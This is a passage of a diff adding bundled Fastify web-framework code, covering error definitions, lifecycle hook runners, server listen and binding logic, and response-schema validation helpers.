"FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX", + 'response schemas should be nested under a valid status code, e.g { 2xx: { type: "object" } }' + ), + /** + * initialConfig + */ + FST_ERR_INIT_OPTS_INVALID: createError( + "FST_ERR_INIT_OPTS_INVALID", + "Invalid initialization options: '%s'" + ), + FST_ERR_FORCE_CLOSE_CONNECTIONS_IDLE_NOT_AVAILABLE: createError( + "FST_ERR_FORCE_CLOSE_CONNECTIONS_IDLE_NOT_AVAILABLE", + "Cannot set forceCloseConnections to 'idle' as your HTTP server does not support closeIdleConnections method" + ), + /** + * router + */ + FST_ERR_DUPLICATED_ROUTE: createError( + "FST_ERR_DUPLICATED_ROUTE", + "Method '%s' already declared for route '%s'" + ), + FST_ERR_BAD_URL: createError( + "FST_ERR_BAD_URL", + "'%s' is not a valid url component", + 400, + URIError + ), + FST_ERR_MAX_PARAM_LENGTH: createError( + "FST_ERR_MAX_PARAM_LENGTH", + "'%s' is exceeding the max param length", + 414, + URIError + ), + FST_ERR_ASYNC_CONSTRAINT: createError( + "FST_ERR_ASYNC_CONSTRAINT", + "Unexpected error from async constraint", + 500 + ), + FST_ERR_INVALID_URL: createError( + "FST_ERR_INVALID_URL", + "URL must be a string. Received '%s'", + 400, + TypeError + ), + FST_ERR_ROUTE_OPTIONS_NOT_OBJ: createError( + "FST_ERR_ROUTE_OPTIONS_NOT_OBJ", + 'Options for "%s:%s" route must be an object', + 500, + TypeError + ), + FST_ERR_ROUTE_DUPLICATED_HANDLER: createError( + "FST_ERR_ROUTE_DUPLICATED_HANDLER", + 'Duplicate handler for "%s:%s" route is not allowed!', + 500 + ), + FST_ERR_ROUTE_HANDLER_NOT_FN: createError( + "FST_ERR_ROUTE_HANDLER_NOT_FN", + "Error Handler for %s:%s route, if defined, must be a function", + 500, + TypeError + ), + FST_ERR_ROUTE_MISSING_HANDLER: createError( + "FST_ERR_ROUTE_MISSING_HANDLER", + 'Missing handler function for "%s:%s" route.', + 500 + ), + FST_ERR_ROUTE_METHOD_INVALID: createError( + "FST_ERR_ROUTE_METHOD_INVALID", + "Provided method is invalid!", + 500, + TypeError + ), + FST_ERR_ROUTE_METHOD_NOT_SUPPORTED: createError( + "FST_ERR_ROUTE_METHOD_NOT_SUPPORTED", + "%s method is not supported.", + 500 + ), + FST_ERR_ROUTE_LOG_LEVEL_INVALID: createError( + "FST_ERR_ROUTE_LOG_LEVEL_INVALID", + "Log level for '%s:%s' route must be a valid logger level. Received: '%s'", + 500, + TypeError + ), + FST_ERR_ROUTE_BODY_VALIDATION_SCHEMA_NOT_SUPPORTED: createError( + "FST_ERR_ROUTE_BODY_VALIDATION_SCHEMA_NOT_SUPPORTED", + "Body validation schema for %s:%s route is not supported!", + 500 + ), + FST_ERR_ROUTE_BODY_LIMIT_OPTION_NOT_INT: createError( + "FST_ERR_ROUTE_BODY_LIMIT_OPTION_NOT_INT", + "'bodyLimit' option must be an integer > 0. Got '%s'", + 500, + TypeError + ), + FST_ERR_HANDLER_TIMEOUT: createError( + "FST_ERR_HANDLER_TIMEOUT", + "Request timed out after %s ms on route '%s'", + 503 + ), + FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT: createError( + "FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT", + "'handlerTimeout' option must be an integer > 0. Got '%s'", + 500, + TypeError + ), + FST_ERR_ROUTE_REWRITE_NOT_STR: createError( + "FST_ERR_ROUTE_REWRITE_NOT_STR", + 'Rewrite url for "%s" needs to be of type "string" but received "%s"', + 500, + TypeError + ), + FST_ERR_ROUTE_MISSING_CONTENT_TYPE: createError( + "FST_ERR_ROUTE_MISSING_CONTENT_TYPE", + "Method '%s' must provide a 'Content-Type' header.", + 400 + ), + FST_ERR_ROUTE_MISSING_CONTENT: createError( + "FST_ERR_ROUTE_MISSING_CONTENT", + "Method '%s' must provide a request body.", + 400 + ), + /** + * again listen when close server + */ + FST_ERR_REOPENED_CLOSE_SERVER: createError( + "FST_ERR_REOPENED_CLOSE_SERVER", + "Fastify has already been closed and cannot be reopened" + ), + FST_ERR_REOPENED_SERVER: createError( + "FST_ERR_REOPENED_SERVER", + "Fastify is already listening" + ), + FST_ERR_INSTANCE_ALREADY_LISTENING: createError( + "FST_ERR_INSTANCE_ALREADY_LISTENING", + "Fastify instance is already listening. %s" + ), + /** + * plugin + */ + FST_ERR_PLUGIN_VERSION_MISMATCH: createError( + "FST_ERR_PLUGIN_VERSION_MISMATCH", + "fastify-plugin: %s - expected '%s' fastify version, '%s' is installed" + ), + FST_ERR_PLUGIN_NOT_PRESENT_IN_INSTANCE: createError( + "FST_ERR_PLUGIN_NOT_PRESENT_IN_INSTANCE", + "The decorator '%s'%s is not present in %s" + ), + FST_ERR_PLUGIN_INVALID_ASYNC_HANDLER: createError( + "FST_ERR_PLUGIN_INVALID_ASYNC_HANDLER", + "The %s plugin being registered mixes async and callback styles. Async plugin should not mix async and callback style.", + 500, + TypeError + ), + FST_ERR_PLUGIN_DEPENDENCY_NOT_REGISTERED: createError( + "FST_ERR_PLUGIN_DEPENDENCY_NOT_REGISTERED", + "The dependency '%s' of plugin '%s' is not registered" + ), + /** + * Avvio Errors + */ + FST_ERR_PLUGIN_CALLBACK_NOT_FN: createError( + "FST_ERR_PLUGIN_CALLBACK_NOT_FN", + "fastify-plugin: %s", + 500, + TypeError + ), + FST_ERR_PLUGIN_NOT_VALID: createError( + "FST_ERR_PLUGIN_NOT_VALID", + "fastify-plugin: %s" + ), + FST_ERR_ROOT_PLG_BOOTED: createError( + "FST_ERR_ROOT_PLG_BOOTED", + "fastify-plugin: %s" + ), + FST_ERR_PARENT_PLUGIN_BOOTED: createError( + "FST_ERR_PARENT_PLUGIN_BOOTED", + "fastify-plugin: %s" + ), + FST_ERR_PLUGIN_TIMEOUT: createError( + "FST_ERR_PLUGIN_TIMEOUT", + "fastify-plugin: %s" + ) + }; + function appendStackTrace(oldErr, newErr) { + newErr.cause = oldErr; + return newErr; + } + module.exports = codes; + module.exports.appendStackTrace = appendStackTrace; + module.exports.AVVIO_ERRORS_MAP = { + AVV_ERR_CALLBACK_NOT_FN: codes.FST_ERR_PLUGIN_CALLBACK_NOT_FN, + AVV_ERR_PLUGIN_NOT_VALID: codes.FST_ERR_PLUGIN_NOT_VALID, + AVV_ERR_ROOT_PLG_BOOTED: codes.FST_ERR_ROOT_PLG_BOOTED, + AVV_ERR_PARENT_PLG_LOADED: codes.FST_ERR_PARENT_PLUGIN_BOOTED, + AVV_ERR_READY_TIMEOUT: codes.FST_ERR_PLUGIN_TIMEOUT, + AVV_ERR_PLUGIN_EXEC_TIMEOUT: codes.FST_ERR_PLUGIN_TIMEOUT + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/hooks.js +var require_hooks = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/hooks.js"(exports, module) { + "use strict"; + var applicationHooks = [ + "onRoute", + "onRegister", + "onReady", + "onListen", + "preClose", + "onClose" + ]; + var lifecycleHooks = [ + "onTimeout", + "onRequest", + "preParsing", + "preValidation", + "preSerialization", + "preHandler", + "onSend", + "onResponse", + "onError", + "onRequestAbort" + ]; + var supportedHooks = lifecycleHooks.concat(applicationHooks); + var { + FST_ERR_HOOK_INVALID_TYPE, + FST_ERR_HOOK_INVALID_HANDLER, + FST_ERR_SEND_UNDEFINED_ERR, + FST_ERR_HOOK_TIMEOUT, + FST_ERR_HOOK_NOT_SUPPORTED, + AVVIO_ERRORS_MAP, + appendStackTrace + } = require_errors2(); + var { + kChildren, + kHooks, + kRequestPayloadStream + } = require_symbols3(); + function Hooks() { + this.onRequest = []; + this.preParsing = []; + this.preValidation = []; + this.preSerialization = []; + this.preHandler = []; + this.onResponse = []; + this.onSend = []; + this.onError = []; + this.onRoute = []; + this.onRegister = []; + this.onReady = []; + this.onListen = []; + this.onTimeout = []; + this.onRequestAbort = []; + this.preClose = []; + } + Hooks.prototype = /* @__PURE__ */ Object.create(null); + Hooks.prototype.validate = function(hook, fn) { + if (typeof hook !== "string") throw new FST_ERR_HOOK_INVALID_TYPE(); + if (Array.isArray(this[hook]) === false) { + throw new FST_ERR_HOOK_NOT_SUPPORTED(hook); + } + if (typeof fn !== "function") throw new FST_ERR_HOOK_INVALID_HANDLER(hook, Object.prototype.toString.call(fn)); + }; + Hooks.prototype.add = function(hook, fn) { + this.validate(hook, fn); + this[hook].push(fn); + }; + function buildHooks(h) { + const hooks = new Hooks(); + hooks.onRequest = h.onRequest.slice(); + hooks.preParsing = h.preParsing.slice(); + hooks.preValidation = h.preValidation.slice(); + hooks.preSerialization = h.preSerialization.slice(); + hooks.preHandler = h.preHandler.slice(); + hooks.onSend = h.onSend.slice(); + hooks.onResponse = h.onResponse.slice(); + hooks.onError = h.onError.slice(); + hooks.onRoute = h.onRoute.slice(); + hooks.onRegister = h.onRegister.slice(); + hooks.onTimeout = h.onTimeout.slice(); + hooks.onRequestAbort = h.onRequestAbort.slice(); + hooks.onReady = []; + hooks.onListen = []; + hooks.preClose = []; + return hooks; + } + function hookRunnerApplication(hookName, boot, server, cb) { + const hooks = server[kHooks][hookName]; + let i = 0; + let c = 0; + next(); + function exit(err) { + const hookFnName = hooks[i - 1]?.name; + const hookFnFragment = hookFnName ? ` "${hookFnName}"` : ""; + if (err) { + if (err.code === "AVV_ERR_READY_TIMEOUT") { + err = appendStackTrace(err, new FST_ERR_HOOK_TIMEOUT(hookName, hookFnFragment)); + } else { + err = AVVIO_ERRORS_MAP[err.code] != null ? appendStackTrace(err, new AVVIO_ERRORS_MAP[err.code](err.message)) : err; + } + cb(err); + return; + } + cb(); + } + function next(err) { + if (err) { + exit(err); + return; + } + if (i === hooks.length && c === server[kChildren].length) { + if (i === 0 && c === 0) { + exit(); + } else { + boot(function manageTimeout(err2, done) { + exit(err2); + done(err2); + }); + } + return; + } + if (i === hooks.length && c < server[kChildren].length) { + const child = server[kChildren][c++]; + hookRunnerApplication(hookName, boot, child, next); + return; + } + boot(wrap(hooks[i++], server)); + next(); + } + function wrap(fn, server2) { + return function(err, done) { + if (err) { + done(err); + return; + } + if (fn.length === 1) { + try { + fn.call(server2, done); + } catch (error51) { + done(error51); + } + return; + } + try { + const ret2 = fn.call(server2); + if (ret2 && typeof ret2.then === "function") { + ret2.then(done, done); + return; + } + } catch (error51) { + err = error51; + } + done(err); + }; + } + } + function onListenHookRunner(server) { + const hooks = server[kHooks].onListen; + const hooksLen = hooks.length; + let i = 0; + let c = 0; + next(); + function next(err) { + err && server.log.error(err); + if (i === hooksLen) { + while (c < server[kChildren].length) { + const child = server[kChildren][c++]; + onListenHookRunner(child); + } + return; + } + wrap(hooks[i++], server, next); + } + async function wrap(fn, server2, done) { + if (fn.length === 1) { + try { + fn.call(server2, done); + } catch (e) { + done(e); + } + return; + } + try { + const ret2 = fn.call(server2); + if (ret2 && typeof ret2.then === "function") { + ret2.then(done, done); + return; + } + done(); + } catch (error51) { + done(error51); + } + } + } + function hookRunnerGenerator(iterator) { + return function hookRunner(functions, request, reply, cb) { + let i = 0; + function next(err) { + if (err || i === functions.length) { + cb(err, request, reply); + return; + } + let result; + try { + result = iterator(functions[i++], request, reply, next); + } catch (error51) { + cb(error51, request, reply); + return; + } + if (result && typeof result.then === "function") { + result.then(handleResolve, handleReject); + } + } + function handleResolve() { + next(); + } + function handleReject(err) { + if (!err) { + err = new FST_ERR_SEND_UNDEFINED_ERR(); + } + cb(err, request, reply); + } + next(); + }; + } + function onResponseHookIterator(fn, request, reply, next) { + return fn(request, reply, next); + } + var onResponseHookRunner = hookRunnerGenerator(onResponseHookIterator); + var preValidationHookRunner = hookRunnerGenerator(hookIterator); + var preHandlerHookRunner = hookRunnerGenerator(hookIterator); + var onTimeoutHookRunner = hookRunnerGenerator(hookIterator); + var onRequestHookRunner = hookRunnerGenerator(hookIterator); + function onSendHookRunner(functions, request, reply, payload, cb) { + let i = 0; + function next(err, newPayload) { + if (err) { + cb(err, request, reply, payload); + return; + } + if (newPayload !== void 0) { + payload = newPayload; + } + if (i === functions.length) { + cb(null, request, reply, payload); + return; + } + let result; + try { + result = functions[i++](request, reply, payload, next); + } catch (error51) { + cb(error51, request, reply); + return; + } + if (result && typeof result.then === "function") { + result.then(handleResolve, handleReject); + } + } + function handleResolve(newPayload) { + try { + next(null, newPayload); + } catch (err) { + cb(err, request, reply, payload); + } + } + function handleReject(err) { + if (!err) { + err = new FST_ERR_SEND_UNDEFINED_ERR(); + } + cb(err, request, reply, payload); + } + next(); + } + var preSerializationHookRunner = onSendHookRunner; + function preParsingHookRunner(functions, request, reply, cb) { + let i = 0; + function next(err, newPayload) { + if (reply.sent) { + return; + } + if (newPayload !== void 0) { + request[kRequestPayloadStream] = newPayload; + } + if (err || i === functions.length) { + cb(err, request, reply); + return; + } + let result; + try { + result = functions[i++](request, reply, request[kRequestPayloadStream], next); + } catch (error51) { + cb(error51, request, reply); + return; + } + if (result && typeof result.then === "function") { + result.then(handleResolve, handleReject); + } + } + function handleResolve(newPayload) { + next(null, newPayload); + } + function handleReject(err) { + if (!err) { + err = new FST_ERR_SEND_UNDEFINED_ERR(); + } + cb(err, request, reply); + } + next(); + } + function onRequestAbortHookRunner(functions, request, cb) { + let i = 0; + function next(err) { + if (err || i === functions.length) { + cb(err, request); + return; + } + let result; + try { + result = functions[i++](request, next); + } catch (error51) { + cb(error51, request); + return; + } + if (result && typeof result.then === "function") { + result.then(handleResolve, handleReject); + } + } + function handleResolve() { + next(); + } + function handleReject(err) { + if (!err) { + err = new FST_ERR_SEND_UNDEFINED_ERR(); + } + cb(err, request); + } + next(); + } + function hookIterator(fn, request, reply, next) { + if (reply.sent === true) return void 0; + return fn(request, reply, next); + } + module.exports = { + Hooks, + buildHooks, + hookRunnerGenerator, + preParsingHookRunner, + onResponseHookRunner, + onSendHookRunner, + preSerializationHookRunner, + onRequestAbortHookRunner, + hookIterator, + hookRunnerApplication, + onListenHookRunner, + preHandlerHookRunner, + preValidationHookRunner, + onRequestHookRunner, + onTimeoutHookRunner, + lifecycleHooks, + supportedHooks + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/noop-set.js +var require_noop_set = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/noop-set.js"(exports, module) { + "use strict"; + module.exports = function noopSet() { + return { + [Symbol.iterator]: function* () { + }, + add() { + }, + delete() { + }, + has() { + return true; + } + }; + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/promise.js +var require_promise = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/promise.js"(exports, module) { + "use strict"; + var { kTestInternals } = require_symbols3(); + function withResolvers() { + let res, rej; + const promise2 = new Promise((resolve, reject) => { + res = resolve; + rej = reject; + }); + return { promise: promise2, resolve: res, reject: rej }; + } + module.exports = { + // TODO(20.x): remove when node@20 is not supported + withResolvers: typeof Promise.withResolvers === "function" ? Promise.withResolvers.bind(Promise) : withResolvers, + // Tested using the kTestInternals + [kTestInternals]: { + withResolvers + } + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/server.js +var require_server = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/server.js"(exports, module) { + "use strict"; + var http = __require("node:http"); + var https = __require("node:https"); + var http2 = __require("node:http2"); + var dns = __require("node:dns"); + var os2 = __require("node:os"); + var { kState, kOptions, kServerBindings, kHttp2ServerSessions } = require_symbols3(); + var { FSTWRN003 } = require_warnings(); + var { onListenHookRunner } = require_hooks(); + var { + FST_ERR_REOPENED_CLOSE_SERVER, + FST_ERR_REOPENED_SERVER, + FST_ERR_LISTEN_OPTIONS_INVALID, + FST_ERR_FORCE_CLOSE_CONNECTIONS_IDLE_NOT_AVAILABLE + } = require_errors2(); + var noopSet = require_noop_set(); + var PonyPromise = require_promise(); + module.exports.createServer = createServer; + function defaultResolveServerListeningText(address) { + return `Server listening at ${address}`; + } + function createServer(options, httpHandler) { + const server = getServerInstance(options, httpHandler); + function listen(listenOptions = { port: 0, host: "localhost" }, cb = void 0) { + if (typeof cb === "function") { + if (cb.constructor.name === "AsyncFunction") { + FSTWRN003("listen method"); + } + listenOptions.cb = cb; + } + if (listenOptions.signal) { + if (typeof listenOptions.signal.on !== "function" && typeof listenOptions.signal.addEventListener !== "function") { + throw new FST_ERR_LISTEN_OPTIONS_INVALID("Invalid options.signal"); + } + this[kState].aborted = listenOptions.signal.aborted; + if (this[kState].aborted) { + return this.close(); + } else { + const onAborted = () => { + this[kState].aborted = true; + this.close(); + }; + listenOptions.signal.addEventListener("abort", onAborted, { once: true }); + } + } + let host; + if (listenOptions.path == null) { + host = listenOptions.host ?? "localhost"; + } else { + host = listenOptions.host; + } + if (!Object.hasOwn(listenOptions, "host") || listenOptions.host == null) { + listenOptions.host = host; + } + if (host === "localhost") { + listenOptions.cb = (err, address) => { + if (err) { + cb(err, address); + return; + } + multipleBindings.call(this, server, httpHandler, options, listenOptions, () => { + this[kState].listening = true; + cb(null, address); + onListenHookRunner(this); + }); + }; + } else { + listenOptions.cb = (err, address) => { + if (err) { + cb(err, address); + return; + } + this[kState].listening = true; + cb(null, address); + onListenHookRunner(this); + }; + } + if (cb === void 0) { + const listening = listenPromise.call(this, server, listenOptions); + return listening.then((address) => { + const { promise: promise2, resolve } = PonyPromise.withResolvers(); + if (host === "localhost") { + multipleBindings.call(this, server, httpHandler, options, listenOptions, () => { + this[kState].listening = true; + resolve(address); + onListenHookRunner(this); + }); + } else { + resolve(address); + onListenHookRunner(this); + } + return promise2; + }); + } + this.ready(listenCallback.call(this, server, listenOptions)); + } + const serverHasCloseAllConnections = typeof server.closeAllConnections === "function"; + const serverHasCloseIdleConnections = typeof server.closeIdleConnections === "function"; + const serverHasCloseHttp2Sessions = typeof server.closeHttp2Sessions === "function"; + let forceCloseConnections = options.forceCloseConnections; + if (forceCloseConnections === "idle" && !serverHasCloseIdleConnections) { + throw new FST_ERR_FORCE_CLOSE_CONNECTIONS_IDLE_NOT_AVAILABLE(); + } else if (typeof forceCloseConnections !== "boolean") { + forceCloseConnections = serverHasCloseIdleConnections ? "idle" : false; + } + const keepAliveConnections = !serverHasCloseAllConnections && forceCloseConnections === true ? /* @__PURE__ */ new Set() : noopSet(); + return { + server, + listen, + forceCloseConnections, + serverHasCloseAllConnections, + serverHasCloseHttp2Sessions, + keepAliveConnections + }; + } + function multipleBindings(mainServer, httpHandler, serverOpts, listenOptions, onListen) { + this[kState].listening = false; + dns.lookup(listenOptions.host, { all: true }, (dnsErr, addresses) => { + if (dnsErr || this[kState].aborted) { + onListen(); + return; + } + const isMainServerListening = mainServer.listening && serverOpts.serverFactory; + let binding = 0; + let bound = 0; + if (!isMainServerListening) { + const primaryAddress = mainServer.address(); + for (const adr of addresses) { + if (adr.address !== primaryAddress.address) { + binding++; + const secondaryOpts = Object.assign({}, listenOptions, { + host: adr.address, + port: primaryAddress.port, + cb: (_ignoreErr) => { + bound++; + if (!_ignoreErr) { + this[kServerBindings].push(secondaryServer); + } + if (bound === binding) { + onListen(); + } + } + }); + const secondaryServer = getServerInstance(serverOpts, httpHandler); + const closeSecondary = () => { + secondaryServer.close(() => { + }); + if (typeof secondaryServer.closeAllConnections === "function" && serverOpts.forceCloseConnections === true) { + secondaryServer.closeAllConnections(); + } + if (typeof secondaryServer.closeHttp2Sessions === "function") { + secondaryServer.closeHttp2Sessions(); + } + }; + secondaryServer.on("upgrade", mainServer.emit.bind(mainServer, "upgrade")); + mainServer.on("unref", closeSecondary); + mainServer.on("close", closeSecondary); + mainServer.on("error", closeSecondary); + this[kState].listening = false; + listenCallback.call(this, secondaryServer, secondaryOpts)(); + } + } + } + if (binding === 0) { + onListen(); + return; + } + const originUnref = mainServer.unref; + mainServer.unref = function() { + originUnref.call(mainServer); + mainServer.emit("unref"); + }; + }); + } + function listenCallback(server, listenOptions) { + const wrap = (err) => { + server.removeListener("error", wrap); + server.removeListener("listening", wrap); + if (!err) { + const address = logServerAddress.call( + this, + server, + listenOptions.listenTextResolver || defaultResolveServerListeningText + ); + listenOptions.cb(null, address); + } else { + this[kState].listening = false; + listenOptions.cb(err, null); + } + }; + return (err) => { + if (err != null) return listenOptions.cb(err); + if (this[kState].listening && this[kState].closing) { + return listenOptions.cb(new FST_ERR_REOPENED_CLOSE_SERVER(), null); + } + if (this[kState].listening) { + return listenOptions.cb(new FST_ERR_REOPENED_SERVER(), null); + } + server.once("error", wrap); + if (!this[kState].closing) { + server.once("listening", wrap); + server.listen(listenOptions); + this[kState].listening = true; + } + }; + } + function listenPromise(server, listenOptions) { + if (this[kState].listening && this[kState].closing) { + return Promise.reject(new FST_ERR_REOPENED_CLOSE_SERVER()); + } + if (this[kState].listening) { + return Promise.reject(new FST_ERR_REOPENED_SERVER()); + } + return this.ready().then(() => { + if (this[kState].aborted) return; + const { promise: promise2, resolve, reject } = PonyPromise.withResolvers(); + const errEventHandler = (err) => { + cleanup(); + this[kState].listening = false; + reject(err); + }; + const listeningEventHandler = () => { + cleanup(); + this[kState].listening = true; + resolve(logServerAddress.call( + this, + server, + listenOptions.listenTextResolver || defaultResolveServerListeningText + )); + }; + function cleanup() { + server.removeListener("error", errEventHandler); + server.removeListener("listening", listeningEventHandler); + } + server.once("error", errEventHandler); + server.once("listening", listeningEventHandler); + server.listen(listenOptions); + return promise2; + }); + } + function getServerInstance(options, httpHandler) { + if (options.serverFactory) { + return options.serverFactory(httpHandler, options); + } + const httpsOptions = options.https === true ? {} : options.https; + if (options.http2) { + const server2 = typeof httpsOptions === "object" ? http2.createSecureServer(httpsOptions, httpHandler) : http2.createServer(options.http, httpHandler); + server2.on("session", (session) => session.setTimeout(options.http2SessionTimeout, () => { + session.close(); + })); + if (options.forceCloseConnections === true) { + server2.closeHttp2Sessions = createCloseHttp2SessionsByHttp2Server(server2); + } + server2.setTimeout(options.connectionTimeout); + return server2; + } + const server = httpsOptions ? https.createServer(httpsOptions, httpHandler) : http.createServer(options.http, httpHandler); + server.keepAliveTimeout = options.keepAliveTimeout; + server.requestTimeout = options.requestTimeout; + server.setTimeout(options.connectionTimeout); + if (options.maxRequestsPerSocket > 0) { + server.maxRequestsPerSocket = options.maxRequestsPerSocket; + } + return server; + } + function getAddresses(address) { + if (address.address === "0.0.0.0") { + return Object.values(os2.networkInterfaces()).flatMap((iface) => { + return iface.filter((iface2) => iface2.family === "IPv4"); + }).sort((iface) => { + return iface.internal ? -1 : 1; + }).map((iface) => { + return iface.address; + }); + } + return [address.address]; + } + function logServerAddress(server, listenTextResolver) { + let addresses; + const isUnixSocket = typeof server.address() === "string"; + if (!isUnixSocket) { + if (server.address().address.indexOf(":") === -1) { + addresses = getAddresses(server.address()).map((address) => address + ":" + server.address().port); + } else { + addresses = ["[" + server.address().address + "]:" + server.address().port]; + } + addresses = addresses.map((address) => "http" + (this[kOptions].https ? "s" : "") + "://" + address); + } else { + addresses = [server.address()]; + } + for (const address of addresses) { + this.log.info(listenTextResolver(address)); + } + return addresses[0]; + } + function createCloseHttp2SessionsByHttp2Server(http2Server) { + http2Server[kHttp2ServerSessions] = /* @__PURE__ */ new Set(); + http2Server.on("session", function(session) { + session.once("connect", function() { + http2Server[kHttp2ServerSessions].add(session); + }); + session.once("close", function() { + http2Server[kHttp2ServerSessions].delete(session); + }); + session.once("frameError", function(type, code, streamId) { + if (streamId === 0) { + http2Server[kHttp2ServerSessions].delete(session); + } + }); + session.once("goaway", function() { + http2Server[kHttp2ServerSessions].delete(session); + }); + }); + return function closeHttp2Sessions() { + if (http2Server[kHttp2ServerSessions].size === 0) { + return; + } + for (const session of http2Server[kHttp2ServerSessions]) { + session.close(); + } + }; + } + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-status.js +var require_error_status = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-status.js"(exports, module) { + "use strict"; + var { + kReplyHasStatusCode + } = require_symbols3(); + function setErrorStatusCode(reply, err) { + if (!reply[kReplyHasStatusCode] || reply.statusCode === 200) { + const statusCode = err && (err.statusCode || err.status); + reply.code(statusCode >= 400 ? statusCode : 500); + } + } + module.exports = { setErrorStatusCode }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/wrap-thenable.js +var require_wrap_thenable = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/wrap-thenable.js"(exports, module) { + "use strict"; + var { + kReplyIsError, + kReplyHijacked + } = require_symbols3(); + var { setErrorStatusCode } = require_error_status(); + var diagnostics = __require("node:diagnostics_channel"); + var channels = diagnostics.tracingChannel("fastify.request.handler"); + function wrapThenable(thenable, reply, store) { + if (store) store.async = true; + thenable.then(function(payload) { + if (reply[kReplyHijacked] === true) { + return; + } + if (store) { + channels.asyncStart.publish(store); + } + try { + if (payload !== void 0 || // + reply.sent === false && // + reply.raw.headersSent === false && reply.request.raw.aborted === false && reply.request.socket && !reply.request.socket.destroyed) { + try { + reply.send(payload); + } catch (err) { + reply[kReplyIsError] = true; + reply.send(err); + } + } + } finally { + if (store) { + channels.asyncEnd.publish(store); + } + } + }, function(err) { + if (store) { + store.error = err; + setErrorStatusCode(reply, err); + channels.error.publish(store); + channels.asyncStart.publish(store); + } + try { + if (reply.sent === true) { + reply.log.error({ err }, "Promise errored, but reply.sent = true was set"); + return; + } + reply[kReplyIsError] = true; + reply.send(err); + } catch (err2) { + reply.send(err2); + } finally { + if (store) { + channels.asyncEnd.publish(store); + } + } + }); + } + module.exports = wrapThenable; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/validation.js +var require_validation = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/validation.js"(exports, module) { + "use strict"; + var { + kSchemaHeaders: headersSchema, + kSchemaParams: paramsSchema, + kSchemaQuerystring: querystringSchema, + kSchemaBody: bodySchema, + kSchemaResponse: responseSchema + } = require_symbols3(); + var scChecker = /^[1-5](?:\d{2}|xx)$|^default$/; + var { + FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX + } = require_errors2(); + var { FSTWRN001, FSTSEC002 } = require_warnings(); + function compileSchemasForSerialization(context2, compile) { + if (!context2.schema || !context2.schema.response) { + return; + } + const { method, url: url2 } = context2.config || {}; + context2[responseSchema] = Object.keys(context2.schema.response).reduce(function(acc, statusCode) { + const schema = context2.schema.response[statusCode]; + statusCode = statusCode.toLowerCase(); + if (!scChecker.test(statusCode)) { + throw new FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX(); + } + if (schema.content) { + const contentTypesSchemas = {}; + for (const mediaName of Object.keys(schema.content)) { + const contentSchema = schema.content[mediaName].schema; + contentTypesSchemas[mediaName] = compile({ + schema: contentSchema, + url: url2, + method, + httpStatus: statusCode, + contentType: mediaName + }); + } + acc[statusCode] = contentTypesSchemas; + } else { + acc[statusCode] = compile({ + schema, + url: url2, + method, + httpStatus: statusCode + }); + } + return acc; + }, {}); + } + function lowerCaseHeadersSchema(schema) { + if (Array.isArray(schema)) { + return schema.map(lowerCaseHeadersSchema); + } + if (schema === null || typeof schema !== "object") { + return schema; + } + const result = {}; + for (const key of Object.keys(schema)) { + const value = schema[key]; + switch (key) { + case "properties": { + if (value === null || typeof value !== "object") { + result.properties = value; + break; + } + const normalized = {}; + for (const prop of Object.keys(value)) { + normalized[prop.toLowerCase()] = lowerCaseHeadersSchema(value[prop]); + } + result.properties = normalized; + break; + } + case "required": + result.required = Array.isArray(value) ? value.map((name) => name.toLowerCase()) : value; + break; + case "dependencies": { + if (value === null || typeof value !== "object") { + result.dependencies = value; + break; + } + const normalized = {}; + for (const dep of Object.keys(value)) { + const depValue = value[dep]; + if (Array.isArray(depValue)) { + normalized[dep.toLowerCase()] = depValue.map((name) => name.toLowerCase()); + } else { + normalized[dep.toLowerCase()] = lowerCaseHeadersSchema(depValue); + } + } + result.dependencies = normalized; + break; + } + case "dependentSchemas": { + if (value === null || typeof value !== "object") { + result.dependentSchemas = value; + break; + } + const normalized = {}; + for (const dep of Object.keys(value)) { + normalized[dep.toLowerCase()] = lowerCaseHeadersSchema(value[dep]); + } + result.dependentSchemas = normalized; + break; + } + case "dependentRequired": { + if (value === null || typeof value !== "object") { + result.dependentRequired = value; + break; + } + const normalized = {}; + for (const dep of Object.keys(value)) { + normalized[dep.toLowerCase()] = value[dep].map((name) => name.toLowerCase()); + } + result.dependentRequired = normalized; + break; + } + // Arrays of subschemas (`allOf`/`anyOf`/`oneOf`) or a single subschema + // (`not`/`if`/`then`/`else`/`items`/`additionalItems`/...). `lowerCaseHeadersSchema` + // handles arrays, objects and booleans, so recursing here covers them all. + case "allOf": + case "anyOf": + case "oneOf": + case "not": + case "if": + case "then": + case "else": + case "items": + case "additionalItems": + case "additionalProperties": + case "unevaluatedItems": + case "unevaluatedProperties": + case "contains": + case "propertyNames": + case "contentSchema": + result[key] = lowerCaseHeadersSchema(value); + break; + // Maps of subschemas whose keys are not header names (definition names, + // regex patterns): keep the keys, normalize the subschema values. + case "definitions": + case "$defs": + case "patternProperties": { + if (value === null || typeof value !== "object") { + result[key] = value; + break; + } + const normalized = {}; + for (const k of Object.keys(value)) { + normalized[k] = lowerCaseHeadersSchema(value[k]); + } + result[key] = normalized; + break; + } + default: + result[key] = value; + } + } + return result; + } + function findExternalHeaderRef(schema) { + if (Array.isArray(schema)) { + for (const item of schema) { + const ref = findExternalHeaderRef(item); + if (ref !== void 0) return ref; + } + return void 0; + } + if (schema === null || typeof schema !== "object") { + return void 0; + } + if (typeof schema.$ref === 